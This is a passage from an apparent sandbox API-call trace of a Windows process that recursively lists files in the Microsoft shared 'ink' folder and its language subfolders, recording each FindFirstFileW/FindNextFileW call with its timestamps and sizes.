ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0091.628] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0091.628] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0091.628] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0091.628] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0091.628] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0091.629] GetProcessHeap () returned 0xc00000 [0091.629] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.629] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.629] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.629] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.629] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.629] GetProcessHeap () returned 0xc00000 [0091.629] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.629] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0091.629] GetProcessHeap () returned 0xc00000 [0091.629] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.629] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.630] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.630] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.630] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.630] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.630] GetProcessHeap () returned 0xc00000 [0091.630] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.630] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0091.630] GetProcessHeap () returned 0xc00000 [0091.630] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.630] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.630] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.631] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.631] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.631] GetProcessHeap () returned 0xc00000 [0091.631] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.631] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0091.631] GetProcessHeap () returned 0xc00000 [0091.631] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.631] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.631] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.631] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.631] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.632] GetProcessHeap () returned 0xc00000 [0091.632] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.632] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0091.632] GetProcessHeap () returned 0xc00000 [0091.632] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.632] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.632] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.632] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.632] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.633] GetProcessHeap () returned 0xc00000 [0091.633] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.633] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0091.633] GetProcessHeap () returned 0xc00000 [0091.633] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.633] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.633] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.633] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.633] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.633] GetProcessHeap () returned 0xc00000 [0091.633] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.633] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0091.634] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0091.634] GetProcessHeap () returned 0xc00000 [0091.634] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d78e0 [0091.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.634] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.634] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.634] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1ede0 | out: lpFindFileData=0x2b1ede0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.634] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.634] GetProcessHeap () returned 0xc00000 [0091.634] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d78e0 | out: hHeap=0xc00000) returned 1 [0091.634] FindNextFileW (in: hFindFile=0xc19c78, lpFindFileData=0x2b1f068 | out: lpFindFileData=0x2b1f068*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, 